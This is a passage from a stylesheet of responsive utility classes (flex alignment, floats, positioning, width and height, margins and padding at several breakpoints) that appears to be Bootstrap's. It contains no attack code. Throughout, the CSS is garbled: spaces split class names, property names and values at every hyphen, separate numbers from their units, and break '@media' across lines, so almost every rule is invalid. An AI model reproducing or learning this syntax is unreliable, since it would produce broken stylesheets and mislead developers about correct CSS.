        -webkit - box - pack: justify!important; - ms - flex - pack: justify!important;
        justify - content: space - between!important
    }

    .justify - content - md - around {
        -ms - flex - pack: distribute!important;
        justify - content: space - around!important
    }

    .align - items - md - start {
        -webkit - box - align: start!important; - ms - flex - align: start!important;
        align - items: flex - start!important
    }

    .align - items - md - end {
        -webkit - box - align: end!important; - ms - flex - align: end!important;
        align - items: flex - end!important
    }

    .align - items - md - center {
        -webkit - box - align: center!important; - ms - flex - align: center!important;
        align - items: center!important
    }

    .align - items - md - baseline {
        -webkit - box - align: baseline!important; - ms - flex - align: baseline!important;
        align - items: baseline!important
    }

    .align - items - md - stretch {
        -webkit - box - align: stretch!important; - ms - flex - align: stretch!important;
        align - items: stretch!important
    }

    .align - content - md - start {
        -ms - flex - line - pack: start!important;
        align - content: flex - start!important
    }

    .align - content - md - end {
        -ms - flex - line - pack: end!important;
        align - content: flex - end!important
    }

    .align - content - md - center {
        -ms - flex - line - pack: center!important;
        align - content: center!important
    }

    .align - content - md - between {
        -ms - flex - line - pack: justify!important;
        align - content: space - between!important
    }

    .align - content - md - around {
        -ms - flex - line - pack: distribute!important;
        align - content: space - around!important
    }

    .align - content - md - stretch {
        -ms - flex - line - pack: stretch!important;
        align - content: stretch!important
    }

    .align - self - md - auto {
        -ms - flex - item - align: auto!important;
        align - self: auto!important
    }

    .align - self - md - start {
        -ms - flex - item - align: start!important;
        align - self: flex - start!important
    }

    .align - self - md - end {
        -ms - flex - item - align: end!important;
        align - self: flex - end!important
    }

    .align - self - md - center {
        -ms - flex - item - align: center!important;
        align - self: center!important
    }

    .align - self - md - baseline {
        -ms - flex - item - align: baseline!important;
        align - self: baseline!important
    }

    .align - self - md - stretch {
        -ms - flex - item - align: stretch!important;
        align - self: stretch!important
    }
}

@
media(min - width: 992 px) {
    .flex - lg - row {
        -webkit - box - orient: horizontal!important; - webkit - box - direction: normal!important; - ms - flex - direction: row!important;
        flex - direction: row!important
    }

    .flex - lg - column {
        -webkit - box - orient: vertical!important; - webkit - box - direction: normal!important; - ms - flex - direction: column!important;
        flex - direction: column!important
    }

    .flex - lg - row - reverse {
        -webkit - box - orient: horizontal!important; - webkit - box - direction: reverse!important; - ms - flex - direction: row - reverse!important;
        flex - direction: row - reverse!important
    }

    .flex - lg - column - reverse {
        -webkit - box - orient: vertical!important; - webkit - box - direction: reverse!important; - ms - flex - direction: column - reverse!important;
        flex - direction: column - reverse!important
    }

    .flex - lg - wrap {
        -ms - flex - wrap: wrap!important;
        flex - wrap: wrap!important
    }

    .flex - lg - nowrap {
        -ms - flex - wrap: nowrap!important;
        flex - wrap: nowrap!important
    }

    .flex - lg - wrap - reverse {
        -ms - flex - wrap: wrap - reverse!important;
        flex - wrap: wrap - reverse!important
    }

    .justify - content - lg - start {
        -webkit - box - pack: start!important; - ms - flex - pack: start!important;
        justify - content: flex - start!important
    }

    .justify - content - lg - end {
        -webkit - box - pack: end!important; - ms - flex - pack: end!important;
        justify - content: flex - end!important
    }

    .justify - content - lg - center {
        -webkit - box - pack: center!important; - ms - flex - pack: center!important;
        justify - content: center!important
    }

    .justify - content - lg - between {
        -webkit - box - pack: justify!important; - ms - flex - pack: justify!important;
        justify - content: space - between!important
    }

    .justify - content - lg - around {
        -ms - flex - pack: distribute!important;
        justify - content: space - around!important
    }

    .align - items - lg - start {
        -webkit - box - align: start!important; - ms - flex - align: start!important;
        align - items: flex - start!important
    }

    .align - items - lg - end {
        -webkit - box - align: end!important; - ms - flex - align: end!important;
        align - items: flex - end!important
    }

    .align - items - lg - center {
        -webkit - box - align: center!important; - ms - flex - align: center!important;
        align - items: center!important
    }

    .align - items - lg - baseline {
        -webkit - box - align: baseline!important; - ms - flex - align: baseline!important;
        align - items: baseline!important
    }

    .align - items - lg - stretch {
        -webkit - box - align: stretch!important; - ms - flex - align: stretch!important;
        align - items: stretch!important
    }

    .align - content - lg - start {
        -ms - flex - line - pack: start!important;
        align - content: flex - start!important
    }

    .align - content - lg - end {
        -ms - flex - line - pack: end!important;
        align - content: flex - end!important
    }

    .align - content - lg - center {
        -ms - flex - line - pack: center!important;
        align - content: center!important
    }

    .align - content - lg - between {
        -ms - flex - line - pack: justify!important;
        align - content: space - between!important
    }

    .align - content - lg - around {
        -ms - flex - line - pack: distribute!important;
        align - content: space - around!important
    }

    .align - content - lg - stretch {
        -ms - flex - line - pack: stretch!important;
        align - content: stretch!important
    }

    .align - self - lg - auto {
        -ms - flex - item - align: auto!important;
        align - self: auto!important
    }

    .align - self - lg - start {
        -ms - flex - item - align: start!important;
        align - self: flex - start!important
    }

    .align - self - lg - end {
        -ms - flex - item - align: end!important;
        align - self: flex - end!important
    }

    .align - self - lg - center {
        -ms - flex - item - align: center!important;
        align - self: center!important
    }

    .align - self - lg - baseline {
        -ms - flex - item - align: baseline!important;
        align - self: baseline!important
    }

    .align - self - lg - stretch {
        -ms - flex - item - align: stretch!important;
        align - self: stretch!important
    }
}

@
media(min - width: 1200 px) {
    .flex - xl - row {
        -webkit - box - orient: horizontal!important; - webkit - box - direction: normal!important; - ms - flex - direction: row!important;
        flex - direction: row!important
    }

    .flex - xl - column {
        -webkit - box - orient: vertical!important; - webkit - box - direction: normal!important; - ms - flex - direction: column!important;
        flex - direction: column!important
    }

    .flex - xl - row - reverse {
        -webkit - box - orient: horizontal!important; - webkit - box - direction: reverse!important; - ms - flex - direction: row - reverse!important;
        flex - direction: row - reverse!important
    }

    .flex - xl - column - reverse {
        -webkit - box - orient: vertical!important; - webkit - box - direction: reverse!important; - ms - flex - direction: column - reverse!important;
        flex - direction: column - reverse!important
    }

    .flex - xl - wrap {
        -ms - flex - wrap: wrap!important;
        flex - wrap: wrap!important
    }

    .flex - xl - nowrap {
        -ms - flex - wrap: nowrap!important;
        flex - wrap: nowrap!important
    }

    .flex - xl - wrap - reverse {
        -ms - flex - wrap: wrap - reverse!important;
        flex - wrap: wrap - reverse!important
    }

    .justify - content - xl - start {
        -webkit - box - pack: start!important; - ms - flex - pack: start!important;
        justify - content: flex - start!important
    }

    .justify - content - xl - end {
        -webkit - box - pack: end!important; - ms - flex - pack: end!important;
        justify - content: flex - end!important
    }

    .justify - content - xl - center {
        -webkit - box - pack: center!important; - ms - flex - pack: center!important;
        justify - content: center!important
    }

    .justify - content - xl - between {
        -webkit - box - pack: justify!important; - ms - flex - pack: justify!important;
        justify - content: space - between!important
    }

    .justify - content - xl - around {
        -ms - flex - pack: distribute!important;
        justify - content: space - around!important
    }

    .align - items - xl - start {
        -webkit - box - align: start!important; - ms - flex - align: start!important;
        align - items: flex - start!important
    }

    .align - items - xl - end {
        -webkit - box - align: end!important; - ms - flex - align: end!important;
        align - items: flex - end!important
    }

    .align - items - xl - center {
        -webkit - box - align: center!important; - ms - flex - align: center!important;
        align - items: center!important
    }

    .align - items - xl - baseline {
        -webkit - box - align: baseline!important; - ms - flex - align: baseline!important;
        align - items: baseline!important
    }

    .align - items - xl - stretch {
        -webkit - box - align: stretch!important; - ms - flex - align: stretch!important;
        align - items: stretch!important
    }

    .align - content - xl - start {
        -ms - flex - line - pack: start!important;
        align - content: flex - start!important
    }

    .align - content - xl - end {
        -ms - flex - line - pack: end!important;
        align - content: flex - end!important
    }

    .align - content - xl - center {
        -ms - flex - line - pack: center!important;
        align - content: center!important
    }

    .align - content - xl - between {
        -ms - flex - line - pack: justify!important;
        align - content: space - between!important
    }

    .align - content - xl - around {
        -ms - flex - line - pack: distribute!important;
        align - content: space - around!important
    }

    .align - content - xl - stretch {
        -ms - flex - line - pack: stretch!important;
        align - content: stretch!important
    }

    .align - self - xl - auto {
        -ms - flex - item - align: auto!important;
        align - self: auto!important
    }

    .align - self - xl - start {
        -ms - flex - item - align: start!important;
        align - self: flex - start!important
    }

    .align - self - xl - end {
        -ms - flex - item - align: end!important;
        align - self: flex - end!important
    }

    .align - self - xl - center {
        -ms - flex - item - align: center!important;
        align - self: center!important
    }

    .align - self - xl - baseline {
        -ms - flex - item - align: baseline!important;
        align - self: baseline!important
    }

    .align - self - xl - stretch {
        -ms - flex - item - align: stretch!important;
        align - self: stretch!important
    }
}

.float - left {
    float: left!important
}

.float - right {
    float: right!important
}

.float - none {
    float: none!important
}

@
media(min - width: 576 px) {
    .float - sm - left {
        float: left!important
    }

    .float - sm - right {
        float: right!important
    }

    .float - sm - none {
        float: none!important
    }
}

@
media(min - width: 768 px) {
    .float - md - left {
        float: left!important
    }

    .float - md - right {
        float: right!important
    }

    .float - md - none {
        float: none!important
    }
}

@
media(min - width: 992 px) {
    .float - lg - left {
        float: left!important
    }

    .float - lg - right {
        float: right!important
    }

    .float - lg - none {
        float: none!important
    }
}

@
media(min - width: 1200 px) {
    .float - xl - left {
        float: left!important
    }

    .float - xl - right {
        float: right!important
    }

    .float - xl - none {
        float: none!important
    }
}

.position - static {
    position: static!important
}

.position - relative {
    position: relative!important
}

.position - absolute {
    position: absolute!important
}

.position - fixed {
    position: fixed!important
}

.position - sticky {
    position: -webkit - sticky!important;
    position: sticky!important
}

.fixed - top {
    position: fixed;
    top: 0;
    right: 0;
    left: 0;
    z - index: 1030
}

.fixed - bottom {
    position: fixed;
    right: 0;
    bottom: 0;
    left: 0;
    z - index: 1030
}

@
supports((position: -webkit - sticky) or(position: sticky)) {
    .sticky - top {
        position: -webkit - sticky;
        position: sticky;
        top: 0;
        z - index: 1020
    }
}

.sr - only {
    position: absolute;
    width: 1 px;
    height: 1 px;
    padding: 0;
    overflow: hidden;
    clip: rect(0, 0, 0, 0);
    white - space: nowrap; - webkit - clip - path: inset(50 % );
    clip - path: inset(50 % );
    border: 0
}

.sr - only - focusable: active,
    .sr - only - focusable: focus {
        position: static;
        width: auto;
        height: auto;
        overflow: visible;
        clip: auto;
        white - space: normal; - webkit - clip - path: none;
        clip - path: none
    }

.w - 25 {
    width: 25 % !important
}

.w - 50 {
    width: 50 % !important
}

.w - 75 {
    width: 75 % !important
}

.w - 100 {
    width: 100 % !important
}

.h - 25 {
    height: 25 % !important
}

.h - 50 {
    height: 50 % !important
}

.h - 75 {
    height: 75 % !important
}

.h - 100 {
    height: 100 % !important
}

.mw - 100 {
    max - width: 100 % !important
}

.mh - 100 {
    max - height: 100 % !important
}

.m - 0 {
    margin: 0!important
}

.mt - 0,
    .my - 0 {
        margin - top: 0!important
    }

.mr - 0,
    .mx - 0 {
        margin - right: 0!important
    }

.mb - 0,
    .my - 0 {
        margin - bottom: 0!important
    }

.ml - 0,
    .mx - 0 {
        margin - left: 0!important
    }

.m - 1 {
    margin: .25 rem!important
}

.mt - 1,
    .my - 1 {
        margin - top: .25 rem!important
    }

.mr - 1,
    .mx - 1 {
        margin - right: .25 rem!important
    }

.mb - 1,
    .my - 1 {
        margin - bottom: .25 rem!important
    }

.ml - 1,
    .mx - 1 {
        margin - left: .25 rem!important
    }

.m - 2 {
    margin: .5 rem!important
}

.mt - 2,
    .my - 2 {
        margin - top: .5 rem!important
    }

.mr - 2,
    .mx - 2 {
        margin - right: .5 rem!important
    }

.mb - 2,
    .my - 2 {
        margin - bottom: .5 rem!important
    }

.ml - 2,
    .mx - 2 {
        margin - left: .5 rem!important
    }

.m - 3 {
    margin: 1 rem!important
}

.mt - 3,
    .my - 3 {
        margin - top: 1 rem!important
    }

.mr - 3,
    .mx - 3 {
        margin - right: 1 rem!important
    }

.mb - 3,
    .my - 3 {
        margin - bottom: 1 rem!important
    }

.ml - 3,
    .mx - 3 {
        margin - left: 1 rem!important
    }

.m - 4 {
    margin: 1.5 rem!important
}

.mt - 4,
    .my - 4 {
        margin - top: 1.5 rem!important
    }

.mr - 4,
    .mx - 4 {
        margin - right: 1.5 rem!important
    }

.mb - 4,
    .my - 4 {
        margin - bottom: 1.5 rem!important
    }

.ml - 4,
    .mx - 4 {
        margin - left: 1.5 rem!important
    }

.m - 5 {
    margin: 3 rem!important
}

.mt - 5,
    .my - 5 {
        margin - top: 3 rem!important
    }

.mr - 5,
    .mx - 5 {
        margin - right: 3 rem!important
    }

.mb - 5,
    .my - 5 {
        margin - bottom: 3 rem!important
    }

.ml - 5,
    .mx - 5 {
        margin - left: 3 rem!important
    }

.p - 0 {
    padding: 0!important
}

.pt - 0,
    .py - 0 {
        padding - top: 0!important
    }

.pr - 0,
    .px - 0 {
        padding - right: 0!important
    }

.pb - 0,
    .py - 0 {
        padding - bottom: 0!important
    }

.pl - 0,
    .px - 0 {
        padding - left: 0!important
    }

.p - 1 {
    padding: .25 rem!important
}

.pt - 1,
    .py - 1 {
        padding - top: .25 rem!important
    }

.pr - 1,
    .px - 1 {
        padding - right: .25 rem!important
    }

.pb - 1,
    .py - 1 {
        padding - bottom: .25 rem!important
    }

.pl - 1,
    .px - 1 {
        padding - left: .25 rem!important
    }

.p - 2 {
    padding: .5 rem!important
}

.pt - 2,
    .py - 2 {
        padding - top: .5 rem!important
    }

.pr - 2,
    .px - 2 {
        padding - right: .5 rem!important
    }

.pb - 2,
    .py - 2 {
        padding - bottom: .5 rem!important
    }

.pl - 2,
    .px - 2 {
        padding - left: .5 rem!important
    }

.p - 3 {
    padding: 1 rem!important
}

.pt - 3,
    .py - 3 {
        padding - top: 1 rem!important
    }

.pr - 3,
    .px - 3 {
        padding - right: 1 rem!important
    }

.pb - 3,
    .py - 3 {
        padding - bottom: 1 rem!important
    }

.pl - 3,
    .px - 3 {
        padding - left: 1 rem!important
    }

.p - 4 {
    padding: 1.5 rem!important
}

.pt - 4,
    .py - 4 {
        padding - top: 1.5 rem!important
    }

.pr - 4,
    .px - 4 {
        padding - right: 1.5 rem!important
    }

.pb - 4,
    .py - 4 {
        padding - bottom: 1.5 rem!important
    }

.pl - 4,
    .px - 4 {
        padding - left: 1.5 rem!important
    }

.p - 5 {
    padding: 3 rem!important
}

.pt - 5,
    .py - 5 {
        padding - top: 3 rem!important
    }

.pr - 5,
    .px - 5 {
        padding - right: 3 rem!important
    }

.pb - 5,
    .py - 5 {
        padding - bottom: 3 rem!important
    }

.pl - 5,
    .px - 5 {
        padding - left: 3 rem!important
    }

.m - auto {
    margin: auto!important
}

.mt - auto,
    .my - auto {
        margin - top: auto!important
    }

.mr - auto,
    .mx - auto {
        margin - right: auto!important
    }

.mb - auto,
    .my - auto {
        margin - bottom: auto!important
    }

.ml - auto,
    .mx - auto {
        margin - left: auto!important
    }

@
media(min - width: 576 px) {
    .m - sm - 0 {
        margin: 0!important
    }

    .mt - sm - 0,
        .my - sm - 0 {
            margin - top: 0!important
        }

    .mr - sm - 0,
        .mx - sm - 0 {
            margin - right: 0!important
        }

    .mb - sm - 0,
        .my - sm - 0 {
            margin - bottom: 0!important
        }

    .ml - sm - 0,
        .mx - sm - 0 {
            margin - left: 0!important
        }

    .m - sm - 1 {
        margin: .25 rem!important
    }

    .mt - sm - 1,
        .my - sm - 1 {
            margin - top: .25 rem!important
        }

    .mr - sm - 1,
        .mx - sm - 1 {
            margin - right: .25 rem!important
        }

    .mb - sm - 1,
        .my - sm - 1 {
            margin - bottom: .25 rem!important
        }

    .ml - sm - 1,
        .mx - sm - 1 {
            margin - left: .25 rem!important
        }

    .m - sm - 2 {
        margin: .5 rem!important
    }

    .mt - sm - 2,
        .my - sm - 2 {
            margin - top: .5 rem!important
        }

    .mr - sm - 2,
        .mx - sm - 2 {
            margin - right: .5 rem!important
        }

    .mb - sm - 2,
        .my - sm - 2 {
            margin - bottom: .5 rem!important
        }

    .ml - sm - 2,
        .mx - sm - 2 {
            margin - left: .5 rem!important
        }

    .m - sm - 3 {
        margin: 1 rem!important
    }

    .mt - sm - 3,
        .my - sm - 3 {
            margin - top: 1 rem!important
        }

    .mr - sm - 3,
        .mx - sm - 3 {
            margin - right: 1 rem!important
        }

    .mb - sm - 3,
        .my - sm - 3 {
            margin - bottom: 1 rem!important
        }

    .ml - sm - 3,
        .mx - sm - 3 {
            margin - left: 1 rem!important
        }

    .m - sm - 4 {
        margin: 1.5 rem!important
    }

    .mt - sm - 4,
        .my - sm - 4 {
            margin - top: 1.5 rem!important
        }

    .mr - sm - 4,
        .mx - sm - 4 {
            margin - right: 1.5 rem!important
        }

    .mb - sm - 4,
        .my - sm - 4 {
            margin - bottom: 1.5 rem!important
        }

    .ml - sm - 4,
        .mx - sm - 4 {
            margin - left: 1.5 rem!important
        }

    .m - sm - 5 {
        margin: 3 rem!important
    }

    .mt - sm - 5,
        .my - sm - 5 {
            margin - top: 3 rem!important
        }

    .mr - sm - 5,
        .mx - sm - 5 {
            margin - right: 3 rem!important
        }

    .mb - sm - 5,
        .my - sm - 5 {
            margin - bottom: 3 rem!important
        }

    .ml - sm - 5,
        .mx - sm - 5 {
            margin - left: 3 rem!important
        }

    .p - sm - 0 {
        padding: 0!important
    }

    .pt - sm - 0,
        .py - sm - 0 {
            padding - top: 0!important
        }

    .pr - sm - 0,
        .px - sm - 0 {
            padding - right: 0!important
        }

    .pb - sm - 0,
        .py - sm - 0 {
            padding - bottom: 0!important
        }

    .pl - sm - 0,
        .px - sm - 0 {
            padding - left: 0!important
        }

    .p - sm - 1 {
        padding: .25 rem!important
    }

    .pt - sm - 1,
        .py - sm - 1 {
            padding - top: .25 rem!important
        }

    .pr - sm - 1,
        .px - sm - 1 {
            padding - right: .25 rem!important
        }

    .pb - sm - 1,
        .py - sm - 1 {
            padding - bottom: .25 rem!important
        }

    .pl - sm - 1,
        .px - sm - 1 {
            padding - left: .25 rem!important
        }

    .p - sm - 2 {
        padding: .5 rem!important
    }

    .pt - sm - 2,
        .py - sm - 2 {
            padding - top: .5 rem!important
        }

    .pr - sm - 2,
        .px - sm - 2 {
            padding - right: .5 rem!important
        }

    .pb - sm - 2,
        .py - sm - 2 {
            padding - bottom: .5 rem!important
        }

    .pl - sm - 2,
        .px - sm - 2 {
            padding - left: .5 rem!important
        }

    .p - sm - 3 {
        padding: 1 rem!important
    }

    .pt - sm - 3,
        .py - sm - 3 {
            padding - top: 1 rem!important
        }

    .pr - sm - 3,
        .px - sm - 3 {
            padding - right: 1 rem!important
        }

    .pb - sm - 3,
        .py - sm - 3 {
            padding - bottom: 1 rem!important
        }

    .pl - sm - 3,
        .px - sm - 3 {
            padding - left: 1 rem!important
        }

    .p - sm - 4 {
        padding: 1.5 rem!important
    }

    .pt - sm - 4,
        .py - sm - 4 {
            padding - top: 1.5 rem!important
        }

    .pr - sm - 4,
        .px - sm - 4 {
            padding - right: 1.5 rem!important
        }

    .pb - sm - 4,
        .py - sm - 4 {
            padding - bottom: 1.5 rem!important
        }

    .pl - sm - 4,
        .px - sm - 4 {
            padding - left: 1.5 rem!important
        }

    .p - sm - 5 {
        padding: 3 rem!important
    }

    .pt - sm - 5,
        .py - sm - 5 {
            padding - top: 3 rem!important
        }

    .pr - sm - 5,
        .px - sm - 5 {
            padding - right: 3 rem!important
        }

    .pb - sm - 5,
        .py - sm - 5 {
            padding - bottom: 3 rem!important
        }

    .pl - sm - 5,
        .px - sm - 5 {
            padding - left: 3 rem!important
        }

    .m - sm - auto {
        margin: auto!important
    }

    .mt - sm - auto,
        .my - sm - auto {
            margin - top: auto!important
        }

    .mr - sm - auto,
        .mx - sm - auto {
            margin - right: auto!important
        }

    .mb - sm - auto,
        .my - sm - auto {
            margin - bottom: auto!important
        }

    .ml - sm - auto,
        .mx - sm - auto {
            margin - left: auto!important
        }
}

@
media(min - width: 768 px) {
    .m - md - 0 {
        margin: 0!important
    }

    .mt - md - 0,
        .my - md - 0 {
            margin - top: 0!important
        }

    .mr - md - 0,
        .mx - md - 0 {
            margin - right: 0!important
        }

    .mb - md - 0,
        .my - md - 0 {
            margin - bottom: 0!important
        }

    .ml - md - 0,
        .mx - md - 0 {
            margin - left: 0!important
        }

    .m - md - 1 {
        margin: .25 rem!important
    }

    .mt - md - 1,
        .my - md - 1 {
            margin - top: .25 rem!important
        }

    .mr - md - 1,
        .mx - md - 1 {
            margin - right: .25 rem!important
        }

    .mb - md - 1,
        .my - md - 1 {
            margin - bottom: .25 rem!important
        }

    .ml - md - 1,
        .mx - md - 1 {
            margin - left: .25 rem!important
        }

    .m - md - 2 {
        margin: .5 rem!important
    }

    .mt - md - 2,
        .my - md - 2 {
            margin - top: .5 rem!important
        }

    .mr - md - 2,
        .mx - md - 2 {
            margin - right: .5 rem!important
        }

    .mb - md - 2,
        .my - md - 2 {
            margin - bottom: .5 rem!important
        }

    .ml - md - 2,
        .mx - md - 2 {
            margin - left: .5 rem!important
        }

    .m - md - 3 {
        margin: 1 rem!important
    }

    .mt - md - 3,
        .my - md - 3 {
            margin - top: 1 rem!important
        }

    .mr - md - 3,
        .mx - md - 3 {
            margin - right: 1 rem!important
        }

    .mb - md - 3,
        .my - md - 3 {
            margin - bottom: 1 rem!important
        }

    .ml - md - 3,
        .mx - md - 3 {
            margin - left: 1 rem!important
        }

    .m - md - 4 {
        margin: 1.5 rem!important
    }

    .mt - md - 4,
        .my - md - 4 {
            margin - top: 1.5 rem!important
        }

    .mr - md - 4,
        .mx - md - 4 {
            margin - right: 1.5 rem!important
        }

    .mb - md - 4,
        .my - md - 4 {
            margin - bottom: 1.5 rem!important
        }

    .ml - md - 4,
        .mx - md - 4 {
            margin - left: 1.5 rem!important
        }

    .m - md - 5 {
        margin: 3 rem!important
    }

    .mt - md - 5,
        .my - md - 5 {
            margin - top: 3 rem!important
        }

    .mr - md - 5,
        .mx - md - 5 {
            margin - right: 3 rem!important
        }

    .mb - md - 5,
        .my - md - 5 {
            margin - bottom: 3 rem!important
        }

    .ml - md - 5,
        .mx - md - 5 {
            margin - left: 3 rem!important
        }

    .p - md - 0 {
        padding: 0!important
    }

    .pt - md - 0,
        .py - md - 0 {
            padding - top: 0!important
        }

    .pr - md - 0,
        .px - md - 0 {
            padding - right: 0!important
        }

    .pb - md - 0,
        .py - md - 0 {
            padding - bottom: 0!important
        }

    .pl - md - 0,
        .px - md - 0 {
            padding - left: 0!important
        }

    .p - md - 1 {
        padding: .25 rem!important
    }

    .pt - md - 1,
        .py - md - 1 {
            padding - top: .25 rem!important
        }

    .pr - md - 1,
        .px - md - 1 {
            padding - right: .25 rem!important
        }

    .pb - md - 1,
        .py - md - 1 {
            padding - bottom: .25 rem!important
        }

    .pl - md - 1,
        .px - md - 1 {
            padding - left: .25 rem!important
        }

    .p - md - 2 {
        padding: .5 rem!important
    }

    .pt - md - 2,
        .py - md - 2 {
            padding - top: .5 rem!important
        }

    .pr - md - 2,
        .px - md - 2 {
            padding - right: .5 rem!important
        }

    .pb - md - 2,
        .py - md - 2 {
            padding - bottom: .5 rem!important
        }

    .pl - md - 2,
        .px - md - 2 {
            padding - left: .5 rem!important
        }

    .p - md - 3 {
        padding: 1 rem!important
    }

    .pt - md - 3,
        .py - md - 3 {
            padding - top: 1 rem!important
        }

    .pr - md - 3,
        .px - md - 3 {
            padding - right: 1 rem!important
        }

    .pb - md - 3,
        .py - md - 3 {
            padding - bottom: 1 rem!important
        }

    .pl - md - 3,
        .px - md - 3 {
            padding - left: 1 rem!important
        }

    .p - md - 4 {
        padding: 1.5 rem!important
    }

    .pt - md - 4,
        .py - md - 4 {
            padding - top: 1.5 rem!important
        }

    .pr - md - 4,
        .px - md - 4 {
            padding - right: 1.5 rem!important
        }

    .pb - md - 4,
        .py - md - 4 {
            padding - bottom: 1.5 rem!important
        }

    .pl - md - 4,
        .px - md - 4 {
            padding - left: 1.5 rem!important
        }

    .p - md - 5 {
        padding: 3 rem!important
    }

    .pt - md - 5,
        .py - md - 5 {
            padding - top: 3 rem!important
        }

    .pr - md - 5,
        .px - md - 5 {
            padding - right: 3 rem!important
        }

    .pb - md - 5,
        .py - md - 5 {
            padding - bottom: 3 rem!important
        }

    .pl - md - 5,
        .px - md - 5 {
            padding - left: 3 rem!important
        }

    .m - md - auto {
        margin: auto!important
    }

    .mt - md - auto,
        .my - md - auto {
            margin - top: auto!important
        }

    .mr - md - auto,
        .mx - md - auto {
            margin - right: auto!important
        }

    .mb - md - auto,
        .my - md - auto {
            margin - bottom: auto!important
        }

    .ml - md - auto,
        .mx - md - auto {
            margin - left: auto!important
        }
}

@
media(min - width: 992 px) {
    .m - lg - 0 {
        margin: 0!important
    }

    .mt - lg - 0,
        .my - lg - 0 {
            margin - top: 0!important
        }

    .mr - lg - 0,
        .mx - lg - 0 {
            margin - right: 0!important
        }

    .mb - lg - 0,
        .my - lg - 0 {
            margin - bottom: 0!important
        }

    .ml - lg - 0,
        .mx - lg - 0 {
            margin - left: 0!important
        }

    .m - lg - 1 {
        margin: .25 rem!important
    }

    .mt - lg - 1,
        .my - lg - 1 {
            margin - top: .25 rem!important
        }

    .mr - lg - 1,
        .mx - lg - 1 {
            margin - right: .25 rem!important
        }

    .mb - lg - 1,
        .my - lg - 1 {
            margin - bottom: .25 rem!important
        }

    .ml - lg - 1,
        .mx - lg - 1 {
            margin - left: .25 rem!important
        }

    .m - lg - 2 {
        margin: .5 rem!important
    }

    .mt - lg - 2,
        .my - lg - 2 {
            margin - top: .5 rem!important
        }

    .mr - lg - 2,
        .mx - lg - 2 {
            margin - right: .5 rem!important
        }

    .mb - lg - 2,
        .my - lg - 2 {
            margin - bottom: .5 rem!important
        }

    .ml - lg - 2,
        .mx - lg - 2 {
            margin - left: .5 rem!important
        }

    .m - lg - 3 {
        margin: 1 rem!important
    }

    .mt - lg - 3,
        .my - lg - 3 {
            margin - top: 1 rem!important
        }

    .mr - lg - 3,
        .mx - lg - 3 {
            margin - right: 1 rem!important
        }

    .mb - lg - 3,
        .my - lg - 3 {
            margin - bottom: 1 rem!important
        }

    .ml - lg - 3,
        .mx - lg - 3 {
            margin - left: 1 rem!important
        }

    .m - lg - 4 {
        margin: 1.5 rem!important
    }

    .mt - lg - 4,
        .my - lg - 4 {
            margin - top: 1.5 rem!important
        }

    .mr - lg - 4,
        .mx - lg - 4 {
            margin - right: 1.5 rem!important
        }

    .mb - lg - 4,
        .my - lg - 4 {
            margin - bottom: 1.5 rem!important
        }

    .ml - lg - 4,
        .mx - lg - 4 {
            margin - left: 1.5 rem!important
        }

    .m - lg - 5 {
        margin: 3 rem!important
    }

    .mt - lg - 5,
        .my - lg - 5 {
            margin - top: 3 rem!important
        }

    .mr - lg - 5,
        .mx - lg - 5 {
            margin - right: 3 rem!important
        }

    .mb - lg - 5,
        .my - lg - 5 {
            margin - bottom: 3 rem!important
        }

    .ml - lg - 5,
        .mx - lg - 5 {
            margin - left: 3 rem!important
        }

    .p - lg - 0 {
        padding: 0!important
    }

    .pt - lg - 0,
        .py - lg - 0 {
            padding - top: 0!important
        }

    .pr - lg - 0,
        .px - lg - 0 {
            padding - right: 0!important
        }

    .pb - lg - 0,
        .py - lg - 0 {
            padding - bottom: 0!important
        }

    .pl - lg - 0,
        .px - lg - 0 {
            padding - left: 0!important
        }

    .p - lg - 1 {
        padding: .25 rem!important
    }

    .pt - lg - 1,
        .py - lg - 1 {
            padding - top: .25 rem!important
        }

    .pr - lg - 1,
        .px - lg - 1 {
            padding - right: .25 rem!important
        }

    .pb - lg - 1,
        .py - lg - 1 {
            padding - bottom: .25 rem!important
        }

    .pl - lg - 1,
        .px - lg - 1 {
            padding - left: .25 rem!important
        }

    .p - lg - 2 {
        padding: .5 rem!important
    }

    .pt - lg - 2,
        .py - lg - 2 {
            padding - top: .5 rem!important
        }

    .pr - lg - 2,
        .px - lg - 2 {
            padding - right: .5 rem!important
        }

    .pb - lg - 2,
        .py - lg - 2 {
            padding - bottom: .5 rem!important
        }

    .pl - lg - 2,
        .px - lg - 2 {
            padding - left: .5 rem!important
        }

    .p - lg - 3 {
        padding: 1 rem!important
    }

    .pt - lg - 3,
        .py - lg - 3 {
            padding - top: 1 rem!important
        }

    .pr - lg - 3,
        .px - lg - 3 {
            padding - right: 1 rem!important
        }

    .pb - lg - 3,
        .py - lg - 3 {
            padding - bottom: 1 rem!important
        }

    .pl - lg - 3,
        .px - lg - 3 {
            padding - left: 1 rem!important
        }

    .p - lg - 4 {
        padding: 1.5 rem!important
    }

    .pt - lg - 4,
        .py - lg - 4 {
            padding - top: 1.5 rem!important
        }

    .pr - lg - 4,
        .px - lg - 4 {
            padding - right: 1.5 rem!important
        }

    .pb - lg - 4,
        .py - lg - 4 {
            padding - bottom: 1.5 rem!important
        }

    .pl - lg - 4,
        .px - lg - 4 {
            padding - left: 1.5 rem!important
        }

    .p - lg - 5 {
        padding: 3 rem!important
    }

    .pt - lg - 5,
        .py - lg - 5 {
            padding - top: 3 rem!important
        }

    .pr - lg - 5,
        .px - lg - 5 {
            padding - right: 3 rem!important
        }

    .pb - lg - 5,
        .py - lg - 5 {
            padding - bottom: 3 rem!important
        }

    .pl - lg - 5,
        .px - lg - 5 {
            padding - left: 3 rem!important
        }

    .m - lg - auto {
        margin: auto!important
    }

    .mt - lg - auto,
        .my - lg - auto {
            margin - top: auto!important
        }

    .mr - lg - auto,
        .mx - lg - auto {
            margin - right: auto!important
        }

    .mb - lg - auto,
        .my - lg - auto {
            margin - bottom: auto!important
        }

    .ml - lg - auto,
        .mx - lg - auto {
            margin - left: auto!important
        }
}

@
media(min - width: 1200 px) {
    .m - xl - 0 {
        margin: 0!important
    }

    .mt - xl - 0,
        .my - xl - 0 {
            margin - top: 0!important
        }

    .mr - xl - 0,
        .mx - xl - 0 {
            margin - right: 0!important
        }

    .mb - xl - 0,
        .my - xl - 0 {
            margin - bottom: 0!important
        }

    .ml - xl - 0,
        .mx - xl - 0 {
            margin - left: 0!important
        }

    .m - xl - 1 {
        margin: .25 rem!important
    }

    .mt - xl - 1,
        .my - xl - 1 {
            margin - top: .25 rem!important
        }

    .mr - xl - 1,
        .mx - xl - 1 {
            margin - right: .25 rem!important
        }

    .mb - xl - 1,
        .my - xl - 1 {
            margin - bottom: .25 rem!important
        }

    .ml - xl - 1,
        .mx - xl - 1 {
